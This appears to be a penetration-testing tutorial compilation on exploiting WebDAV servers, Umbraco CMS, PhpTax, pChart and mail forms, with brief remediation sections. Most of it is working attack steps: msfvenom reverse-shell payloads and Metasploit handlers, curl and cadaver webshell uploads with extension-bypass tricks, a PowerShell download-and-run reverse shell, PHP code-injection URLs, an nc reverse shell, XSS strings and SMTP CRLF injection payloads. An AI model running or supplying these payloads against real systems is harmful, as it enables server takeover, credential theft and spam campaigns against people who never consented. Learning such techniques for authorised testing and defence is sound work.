WebDAV stands for "Web-based Distributed Authoring and Versioning". It is a set of extensions to the HTTP protocol which allows users to collaboratively edit and manage files on remote web servers.
The basic functionality of WebDAV includes enabling users to share, copy, move and edit files through a web server. It can also be used to support collaborative applications with features like file locking and revision tracking.
A HTTP Server with WebDav active is a server where you probably can update, delete, move, copy files. Sometimes you need to have valid credentials (usually check with HTTP Basic Authentication).
You should try to upload some webshell and execute it from the web server to take control over the server.
Other common configuration is to forbid uploading files with extensions that will be executed by the web server, you should check how to bypass this:
- Upload files with executable extensions (maybe it's not forbidden).
- Upload files without executable extensions (like .txt) and try to rename the file (move) with an executable extension.
- Upload files without executable extensions (like .txt) and try to copy the file (move) with executable extension.
- (OPTIONAL) you can bypass by adding at the end of the name ";.txt" and the file will be executed as if it were a .asp file (you could also use ".html" instead of ".txt" but DON'T forget the ";", Then you can upload your shell as a ".txt" file and copy/move it to a ".asp;.txt" file.
WebDAV Features and Use
WebDAV extends HTTP headers for communication with a server. The new headers include:
- COPY, copy a resource
- MOVE, move a resource
- MKCOL, create a collection, for example, a folder
- PROPFIND, retrieve properties stored as XML
- PROPPATCH, change and/or remove properties
- LOCK, put a lock on a resource
- UNLOCK, remove a lock from a resource
1. Identify whether WebDAV is running using Metasploit. The scanner will return some HTTP information, including the Apache version number and whether WebDAV is enabled or not.
- use auxiliary/scanner/http/webdav_scanner
- show options
- set RHOST 10.10.10.15
DAVTest tool tests WebDAV enabled servers by uploading test executable files, and then (optionally) uploading files which allow for command execution or other actions directly on the target. It is meant for penetration testers to quickly and easily determine if enabled DAV services are exploitable.
- Automatically send exploit files
- Automatic randomization of directory to help hide files
- Send text files and try MOVE to executable name
- Basic and Digest authorization
- Automatic clean-up of uploaded files
- Send an arbitrary file
This program attempts to exploit WebDAV enabled servers by:
- attempting to create a new directory (MKCOL)
- attempting to put test files of various programming langauges (PUT)
- optionally attempt to put files with .txt extension, then move to executable (MOVE)
- optionally attempt to put files with .txt extension, then copy to executable (COPY)
- check if files executed or were uploaded properly
- optionally upload a backdoor/shell file for languages which execute
- Additionally, this can be used to put an arbitrary file to remote systems.
1. Run the tool help to see its options
2. Test File Permissions with DAVTest, all we need to do is provide it with a valid URL pointing to an instance of WebDAV. Naturally, use the -url switch followed by the correct URL. It begins by testing the connection and attempts to create a test directory, which we see is a success. Next, DAVTest will send a variety of different types of files to determine what can be uploaded.
- davtest -url http://10.10.10.15
NOTE: testing for file execution. We can see there the ones that could execute .txt and .html only
- 3. Now we can check some of the files that we uploaded using PUT
Manual DAV test
1. Create a .txt file
- echo "Welcome to Vk9 Security" > file.txt
- curl -i -s -k -X PUT http://10.10.10.15/davtest.txt -d @file.txt
- curl -i -s -k -X GET http://10.10.10.15/davtest.txt
2. We can also visit it from the browser
1. Scan the website using nikto, you may find info there
- nmap -T4 -p80 --script=http-iis-webdav-vuln 10.10.10.15
1. Exploitation (BurpSuite)
1. We can inspect what DAVtest is doing by redirecting traffic to BurpSuite or any other web proxy. First configure the proxy to redirect traffic from the remote host to the local address
- Bind port 80 and loopback only, in binding tab
- Redirect traffic from remote host, in request handling tab
2. Make sure the listener has been created
3. If you run DAVtest to localhost, you will receive the requests into BurpSuite
- davtest -url http://localhost
4. Forwarding all the requests and then looking at the HTTP history you can inspect the activity
5. We can now create our own file using one of those PUT requests and sending it to repeater, send to repeater
6. Edit the content, and send the crafted request, in this case we got a “201 Created” response back from the server.
7. Now, if we go to the browser and visit http://10.10.10.15/vk9-sec.html we should see our crafted message
Note. Tipically, we just need to upload a reverse shell file that the server would be able to interpret.
8. First create a reverse shell, I will choose ASPX as the previous curl output indicates “X-Powered-By: ASP.NET”
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=9999 -f aspx
9. Start a listener, in this case I will use Metasploit
- use exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp
- set LHOST 10.10.14.3
- set LPORT 9999
10. Send the reverse shell code created with MSFVenom via BurpSuite repeater, as we have been doing. In this particular case we are getting “403 Forbidden”. Which means this file type is not allowed.
11. I will try to change the file name as reverse.html, as it accepted .txt and .html, it worked “201 Created” is the server response.
12. If I try to execute it, it wont work as the .html doesn’t execute .aspx
13. Looking at the other HTTP methods there is one named MOVE, we can try to rename reverse.html to reverse.aspx
- curl -i -s -k -X 'OPTIONS' 'http://10.10.10.15'
Use move to change the file name
- MOVE /reverse.html HTTP/1.1
- Destination: reverse.aspx
- HTTP/1.1 201 Created
- Location: http://www.contoso.com/pub2/folder2/
14. Now using the same request we uploaded reverse.html, we will change the file extension to .aspx
15. Visiting the reverse.aspx file via browser show now execute our shell, we should see a white screen not a 404 page
16. Looking at the meterpreter session we can now see the incoming connection
2. Exploitation (Curl)
1. We will now do the same thing but using Curl. This time I will upload a webshell (cmdasp.aspx)
- cd /usr/share/webshells/aspx/
- curl -i -s -k -X PUT http://10.10.10.15/webshell.txt -d @cmdasp.aspx
Note: We got a “201 Created” response from the server which means it was uploaded.
2. Now visiting the file we uploaded we see plain text as only .txt and .html were allowed in this scenario.
3. Using Curl we can rename the file, to change the extension
- curl -i -s -k -X MOVE -H 'Destination:http://10.10.10.15/webshell.aspx' http://10.10.10.15/webshell.txt
4. As we got a 201 response, now we visit the new file
5. We can now, run commands
3. Exploitation (Cadaver)
cadaver is a command-line WebDAV client, with support for file upload, download, on-screen display, in place editing, namespace operations (move/copy), collection creation and deletion, property manipulation, and resource locking.
1. Display the tool help commands
2. Display tool version
3. connect to a vulnerable WebDAV host
- cadaver http://10.10.10.15
4. Being there you can run limited system commands, example:
5. You delete files using DELETE method
6. Download file from the server using GET method
7. You can upload new files, we will upload a webshell again, first as .txt, then move it to .aspx, as .aspx was forbidden by the server
- put cmdasp.aspx
- put cmdasp.aspx cmdasp.txt
8. Change the file extension from .txt to .aspx
- move cmdasp.txt cmdasp.aspx
9. Now you can visit the website using the browser, and find cmdasp.aspx
Note: You can upload reverse shells or any function you need.
10. You can also forward the requests from cadaver to a proxy, I will use BurpSuite for this, so, you can inspect what the application is sending and doing, also craft those requests as you need.
- cadaver -p 127.0.0.1:8080 http://10.10.10.15
4. Exploitation (Cadaver)(authenticated)
1. Having already credentials we could try the previous technique (administrant:sleepless)
- cadaver http://muddy.ugc/webdav
- username: administrant
- password: sleepless
2. Having access we can upload our own Shell, I will use php-reverse-shell.php, edit the $ip & $port variables to match your listener
- find / -name php-reverse-shell.php 2> /dev/null
- cp /usr/share/webshells/php/php-reverse-shell.php .
- vi php-reverse-shell.php
3. Start a listener in your machine
4. Now, upload the listener to the remote server, using cadaver
- put php-reverse-shell.php
5. Now execute the script, either by browser or using curl. For this demonstration I will execute it using curl
- curl http://muddy.ugc/webdav/php-reverse-shell.php -u administrant:sleepless
6. Check on your reverse shell, there should be a new session opened
Extra (Post credentials)
1. If the Webdav was using an Apache server you should look at configured sites in Apache. Commonly:
Inside it you could find something like:
2. Inside this type of files (AuthUserFile) you will find the username and a hash of the password. These are the credentials the webdav server is using to authenticate users.
3. You can try to crack them, or to add more if for some reason you want to access the webdav server
- htpasswd /etc/apache2/users.password <USERNAME>
4. To check if the new credentials are working you can do:
- wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
Extra 2 (Post credentials)
1. We can also get credentials from /var/www/html/webdav/passwd.dav , In this particular scenario I was able to read this file using LFI technique
2. We can crack it using john the reaper, first create a file with the credentials to crack
- vi creds.txt
- cat creds.txt
3. Now, use john against this credential file
- john creds.txt --wordlist=/usr/share/wordlists/rockyou.txt
Having credentials for Umbraco CMS allows us to run a reverse shell. This time we will run the exploit (https://www.exploit-db.com/exploits/49488)
1. In searchsploit you can search for Umbraco exploits
Note: This indicates it works on 7.12.4 version. Since we have already admin credentials for this app we will first confirm its version
2. Confirm Version, indeed, this server is running 7.12.4
3. Now, download the script, from, searchsploit
- searchsploit -m aspx/webapps/46153.py
- cat 46153.py
4. Proceed to edit the script.
- login = "XXXX;
- host = "XXXX";
5. We will do
- login = "email@example.com";
- host = "http://10.10.10.180";
6. Having already the login and host info in place we will modify the payload section to run a simple ping
- string cmd = ""
- proc.StartInfo.FileName = "calc.exe"
7. This will be the result
- string cmd = "/c ping 10.10.14.10"
- proc.StartInfo.FileName = "cmd.exe"
8. We are done with modifying the script. Now we will start a capture on our network interface looking for ICMP messages
- sudo tcpdump -i tun0 icmp
9. Proceed to run the script
10. Check on our tcpdump command
Note: We got the ICMP traffic coming into our machine. This means the script ran successfully, now, we will get creative and run a powershell reverse shell
Powershell reverse shell
1. We will use Nishang powershell script to run, so, find it within your machine
- find / -iname Invoke-PowerShellTcp.ps1 2> /dev/null
- cp /home/vry4n/Documents/Tools/nishang/Shells/Invoke-PowerShellTcp.ps1 .
- cat Invoke-PowerShellTcp.ps1
Note: If you don’t have Nishang you can download it from (https://github.com/samratashok/nishang)
2. Edit this file, and add the line you want at the bottom, in this case I’ll use the reverse shell
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
3. Edit it as per your own environment (Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 8080)
- vi Invoke-PowerShellTcp.ps1
- tail Invoke-PowerShellTcp.ps1
4. Start a listener on your Kali/Parrot machine
5. Also, start a web server, so, the remote machine can download and run the script we just modified
- python3.9 -m http.server 9999
6. Having the reverse shell file, the listener and the web server, we can proceed to again modify our exploit this time to run Powershell
- string cmd = "IEX(IWR http://10.10.14.10:9999/ Invoke-PowerShellTcp.ps1 -UseBasecParsing)"
- proc.StartInfo.FileName = "powershell.exe"
7. Run the script
8. Check the web server and make sure the script is being downloaded, which it did 200 OK message
9. Now, check the listener and see if that executed successfully, it did
Upgrade to a newer version
PhpTax is free software to do your U.S. income taxes. Tested under Unix environment. The program generates .pdfs that can be printed and sent to the IRS.
An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability. User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file. An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.
Field variable exploitation
#LINE 32: fwrite fwrite($zz, "$_GET['newvalue']");
#LINE 31: $zz = fopen("./data/$field", "w");
#LINE 2: $field = $_GET['field'];
1. Access this page and modify the values as will
- http://192.168.0.18:8080/phptax/index.php?field=rce.php&newvalue=<?php passthru($_GET[cmd]); ?>
- http://192.168.0.18:8080/phptax/index.php?field=rce.php&newvalue=<?php system($_GET[cmd]); ?>
- http://192.168.0.18:8080/phptax/index.php?field=rce.php&newvalue=<?php shell_exec($_GET[cmd]); ?>
2. Access the data directory to find the script
3. Locate and execute the script
4. Knowing that we can execute system commands, we could also run a reverse shell
- http://192.168.0.18:8080/phptax/data/rce.php?cmd=nc -e /bin/bash 192.168.0.13 4444
pfilez variable exploitation
drawimage.php, line 63:
// makes a png image
if ($_GET[pdf] == "") Imagepng($image);
if ($_GET[pdf] == "make") Imagepng($image,"./data/pdf/$pfilef");
if ($_GET[pdf] == "make") exec("convert ./data/pdf/$pfilef ./data/pdf/$pfilep");
1. Access phptax home folder
2. Open any existing report, as you can see the report has a pfilez variable filled
3. Now we can inject the code to execute a reverse connection. (in this case I get the connection but immediately closes, so this is for demonstration only, may have to troubleshoot, but I’m lazy!!, we just need the proof of concept)
4. I even ran TCPDump to capture traffic
- tcpdump -i wlan0 | grep 192.168.0.18
Note: We can also exploit drawimage.php, instead of index.php
1. Start Metasploit service and search for “phptax”
- service postgresql start
- msfdb init
- search phptax
2. select the module and display the options
- use exploit/multi/http/phptax_exec
- show options
3. show and set the payload
- show payloads
- set payload cmd/unix/reverse
- show options
4. Fill the options marked as “Required yes”
- set RHOSTS 192.168.0.18:8080
- set RPORT 8080 # in this case the app is using that port
- set LHOST 192.168.0.13
5. (EXTRA) In this particular scenario, we need to spoof the user agent to mozilla4, as per the site configuration, this is not usually required.
- set UserAgent Mozilla/4.0
- show advanced
6. Now run the exploit
Note: I had to run it twice. The first time the session expired.
Do some input validation.
PHP library pChart 2.1.3 (and possibly previous versions) by default contains an examples folder, where the application is vulnerable to Directory Traversal and Cross-Site Scripting (XSS).
This has been taken from (https://www.exploit-db.com/exploits/31173)
Exploiting Directory Traversal
1. Visiting the application at (http://192.168.0.18/pChart2.1.3/examples/index.php), we get to the examples folder.
2. This tool can be exploited by entering the following data
3. Now we can start looking for config files, since this server is using Apache, so, I will read that. (Note: BSD apache config is located in /usr/local/etc/apache22/httpd.conf)
Note: This config file show the user agent permitted, “Mozilla4_browser”, and a virtual host on port 8080.
Directory Traversal remediation:
1) Update to the latest version of the software.
2) Remove public access to the examples folder where applicable.
3) Use a Web Application Firewall or similar technology to filter
malicious input attempts.
This file uses multiple variables throughout the session, and most of them are vulnerable to XSS attacks. Certain parameters are persistent throughout the session and therefore persists until the user session is active. The parameters are unfiltered.
1. From a browser navigate to
2. In there, just enter the following
- session.php?<script>alert('Vry4n has been here.')</script>
- http://192.168.0.18/pChart2.1.3/examples/sandbox/script/session.php?<script>alert('Vry4n has been here.')</script>
Cross-Site Scripting remediation:
1) Update to the latest version of the software.
2) Remove public access to the examples folder where applicable.
3) Use a Web Application Firewall or similar technology to filter malicious input attempts.
Mail Command Injection is an attack technique used to exploit mail servers and webmail applications that construct IMAP/SMTP statements from user-supplied input that is not properly sanitized. an attack technique that injects attacker-controlled SMTP commands into the data transmitted from an application (typically a web application) to an SMTP server for spamming purposes.
- Header: ending of the expected command;
- Body: injection of the new command(s);
- Footer: beginning of the expected command.
This behavior can be exploited to send copies of emails to third parties, attach viruses, deliver phishing attacks, and often alter the content of emails. It is typically exploited by spammers looking to leverage the vulnerable company's reputation to add legitimacy to their emails.
Common uses of SMTP in websites
- Submit messages via the application, such as to report a problem to support personnel
- Provide feedback about the website.
- This facility is usually implemented by interfacing with a mail (or SMTP) server.
- Typically, user-supplied input is inserted into the SMTP.
How SMTP Works
To understand how SMTP works, you need to first understand the difference between the envelope and the email body.
- The envelope is the initial part of the communication and it is part of the actual SMTP protocol.
The following commands are part of the envelope
- MAIL FROM: This command sets the envelope sender. (focus on this)
- RCPT TO: This command sets the envelope recipient. It can be used multiple times if you want the message to reach many people at once.
- DATA: This command begins the email payload.
The payload contains email headers and the message body separated by a single empty line. (\n on most UNIX and Linux systems, \r\n on Windows systems)
The email headers are not part of the SMTP protocol. They are interpreted by the mail client (the web application & some email handling libraries in programming languages.)
> MAIL FROM:<firstname.lastname@example.org>
< 250 OK
> RCPT TO: <email@example.com>
< 250 OK
> RCPT TO:<firstname.lastname@example.org>
< 250 OK
< 354 Send message content; end with <CRLF>.<CRLF>
> Content-Type: text/html
> Date: Wed, 25 D 2020 00:00:01
> From: Bryan <email@example.com>
> Subject: Are you on vacation?
> To: everyone <firstname.lastname@example.org >
> I didn’t see you online!
< 250 OK
The above email would be received by email@example.com and firstname.lastname@example.org. However, they would see that it was sent by Bryan <email@example.com> (not firstname.lastname@example.org) and they would see that the recipient is everyone <email@example.com>
"<CRLF>.<CRLF>” used to terminate data
"<CRLF>” used to separate the RCPT TO values
- Rcpt to:firstname.lastname@example.org>[CRLF]DATA[CRLF](message content)[CRLF].[CRLF]QUIT[CRLF]
the traditional attack vectors like the following
rcpt to: email@example.com[CRLF]Cc: firstname.lastname@example.org
ASCII Character Set and Hexadecimal Values
|| Line feed
|| Carriage return (Equivalent to the Enter or Return key)
%0d%0a = [CRLF]
That will translate as
- MAIL Fromemail@example.com
- Subject=Site feedback
- MAIL FROM: firstname.lastname@example.org
- RCPT TO: email@example.com
- From: firstname.lastname@example.org
- To: email@example.com
- Subject: Cheap books
- Hi There
||Specify your domain name so that the mail server knows who you are.
||E.g. HELO example.com
||Specify the sender email.
||E.g. MAIL FROM: <firstname.lastname@example.org>
||Specify the recipient. Issue this command multiple times if you have more than one recipient.
||E.g. RCPT TO: <email@example.com>
||Issue this command before sending the body of the message. The message body must end with the
||following five letter sequence: “\r\n.\r\n.”
||Terminates the conversation with the server.
||Specify that your recipient is a mailing list.
||Asks for help from the mail server.
||Does nothing except to get a response from the server.
||Aborts the current conversation and start a new conversation.
||Sends a message to a user’s terminal instead of a mailbox.
||Sends a message to a user’s terminal and to a user’s mailbox.
||Sends a message to a user’s terminal if they are logged on; otherwise, sends the message to the user’s mailbox.
||Reverses the role of client and server. This might be useful if the client program can also act as a server and needs to receive mail from the remote computer.
||Verifies that a particular user name of a given mail address exists. Not supported by all mail servers.
E-mail Header Injection can be considered as the e-mail equivalent of HTTP Header Injection. this vulnerability exists in the implementation of the built-in mail functionality in popular languages such as
PHP = mail()
[SP] = Space
[LF] = Line feed
[CR] = equivalent to “enter” new line
rcpt to=([CRLF][SP]RCPT TO:firstname.lastname@example.org[CRLF][SP]DATA \[LF]Subject: spam10\[LF][CRLF][SP]Hello,this is a spam mail...\[LF].[CRLF][SP]QUIT[CRLF][SP]) email@example.com
Will show as
- RCPT TO:<(
- [SP]RCPT TO:firstname.lastname@example.org
- Subject: spam10\
- [SP]Hello, this is a spam mail...\
- [SP]) email@example.com>
The former command with a leading space is confirmed to be interpreted normally, and the latter command followed by backslash
Java = JavaMail API
- rcpt to= ">[CRLF]RCPT TO:firstname.lastname@example.org[CRLF]DATA[CRLF](message content)[CRLF].[CRLF]QUIT[CRLF]"@vk9sec.com
Will show as
- RCPT TO:<">
- RCPT TO:email@example.com
- (message content)
Python = email.header
Ruby = Net::SMTP, Mail
- rcpt to:firstname.lastname@example.org[CRLF]DATA[CRLF](message content)[CRLF].[CRLF]QUIT[CRLF]
Since E-mail Header Injection is caused due to improper or nonexistent sanitization of user input.
The format of e-mail messages is deﬁned by the Simple Mail Transfer Protocol (SMTP). Each e-mail message is represented by a series of headers separated by newlines, followed by the body content (separated from the headers by two newlines).
- BCC, etc
With the proper injection string, E-mail Header Injection vulnerabilities can be exploited by an attacker to inject additional headers, modify existing headers, or alter the contents of the e-mail.
Result of compromise
- An attacker can perform e-mail spoofing
- Running phishing campaigns that are sent from the actual mail server
- Spam Networks
- Information Extraction
- Denial of Service
Finding SMTP Injections flaws
1. You should submit each of the following test strings as each parameter in turn, inserting your own e-mail address at the relevant position
2. Note any error messages the application returns. If these appear to relate to any problem in the e-mail function, investigate whether you need to fine-tune your input to exploit a vulnerability
3. The application’s responses may not indicate in any way whether a vulnerability exists or was successfully exploited. You should monitor the e-mail address you specified to see if any mail is received
4. Review closely the HTML form that generates the relevant request. This may contain clues about the server-side software being used. It may also contain a hidden or disabled field that specifies the e-mail’s To address, which you can modify directly.
1. Locate the email form
2. Here, users can specify a “From” address and the contents of the message. The application passes this input to the PHP mail() command, which constructs the e-mail and performs the necessary SMTP conversation with its conﬁgured mail server.
3. Utilize the application normally, to test functionality
- To: email@example.com
- From: firstname.lastname@example.org
- Subject: Hello There
5. Capture the request with a web proxy, in this case BurpSuite, This is a benign request
This will cause the following
- MAIL FROM: email@example.com
- RCPT TO: firstname.lastname@example.org
- From: email@example.com
- To: firstname.lastname@example.org
- Hello There
6. Now capture a new request and inject a BCC, CC line using new line character “%0a” or “\n”
- name=Vry4n+Unknown&email=vry4n%40vk9security.com%0d%0a bcc:bwapp%40mailinator.com&remarks=Hello+There&form=submit
This will make the mailing server to forward the request also to the injected address
Remediation: SMTP header injection
Validate that user input conforms to a whitelist of safe characters before placing it into email headers. In particular, input containing newlines and carriage returns should be rejected. Alternatively, consider switching to an email library that automatically prevents such attacks.
- E-mail addresses should be checked against a suitable regular expression (which should, of course, reject any newline characters
- The message subject should not contain any newline characters, and it may be limited to a suitable length
- If the contents of a message are being used directly in an SMTP conversation, lines containing just a single dot should be disallowed
Server-side redirection vulnerabilities arise when an application takes user controllable input and incorporates it into a URL that it retrieves using a backend HTTP request.
Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials.
If no validation of the URL is speciﬁed in the “textfile” parameter, an attacker can specify an arbitrary hostname in place of textfiles.com.
The application retrieves the speciﬁed resource, allowing the attacker to use the application as a proxy to potentially sensitive back-end services.
The application response is google page
This vulnerability allows an attacker
- An attacker may be able to use the proxy to attack third-party systems on the Internet. The malicious trafﬁc appears to the target to originate from the server on which the vulnerable application is running.
- An attacker may be able to use the proxy to connect to arbitrary hosts on the organization’s internal network, thereby reaching targets that cannot be accessed directly from the Internet.
- An attacker may be able to use the proxy to connect back to other services running on the application server itself, circumventing ﬁrewall restrictions and potentially exploiting trust relationships to bypass authentication.
- The proxy functionality could be used to deliver attacks such as cross-site scripting by causing the application to include attacker-controlled content within its responses
Steps to exploit this vulnerability
1. Identify any request parameters that appear to contain hostnames, IP addresses, or full URLs.
2. For each parameter, modify its value to specify an alternative resource, similar to the one being requested, and see if that resource appears in the server’s response
3. Try specifying a URL targeting a server on the Internet that you control, and monitor that server for incoming connections from the application you are testing.
4. If no incoming connection is received, monitor the time taken for the application to respond. If there is a delay, the application’s back-end requests may be timing out due to network restrictions on outbound connections.
5. If you are successful in using the functionality to connect to arbitrary URLs, try to perform the following attacks
- Determine whether the port number can be specified. For example, you might supply http://mdattacker.net:22
- If successful, attempt to port-scan the internal network by using a tool such as Burp Intruder to connect to a range of IP addresses and ports in sequence
- Attempt to connect to other services on the loopback address of the application server
- Attempt to load a web page that you control into the application’s response to deliver a cross-site scripting attack
Types of attacks
When you want to allow users to sign-up with external services, such as putting up a “Login with Facebook” or “Sign up with Google”-button you may choose to implement an Oauth-flow.
Safe use of redirects and forwards can be done in a number of ways:
- Simply avoid using redirects and forwards.
- If used, do not allow the URL as user input for the destination.
- Where possible, have the user provide short name, ID or token which is mapped server-side to a full target URL.
- This provides the highest degree of protection against the attack tampering with the URL.
- Be careful that this doesn't introduce an enumeration vulnerability where a user could cycle through IDs to find all possible redirect targets
- If user input can’t be avoided, ensure that the supplied value is valid, appropriate for the application, and is authorized for the user.
- Sanitize input by creating a list of trusted URLs (lists of hosts or a regex).
- This should be based on a white-list approach, rather than a blacklist.
- Force all redirects to first go through a page notifying users that they are going off of your site, with the destination clearly displayed, and have them click a link to confirm.
When attempting to validate and sanitize user-input to determine whether the URL is safe, wherever possible you should use a built in library or function to parse the URLs, such as parse_url() in PHP, rather than rolling your own parser using regex. Additionally, make sure that you take the following into account:
- Input starting with a / to redirect to local pages is not safe. //example.org is a valid URL.
- Input starting with the desired domain name is not safe. https://example.org.attacker.com is valid.
- Data URIs such as data:text/html,<script>alert(document.domain)</script> should be blocked
- URIs containing CRLF characters can lead to header injection or response splitting attacks, and should be blocked.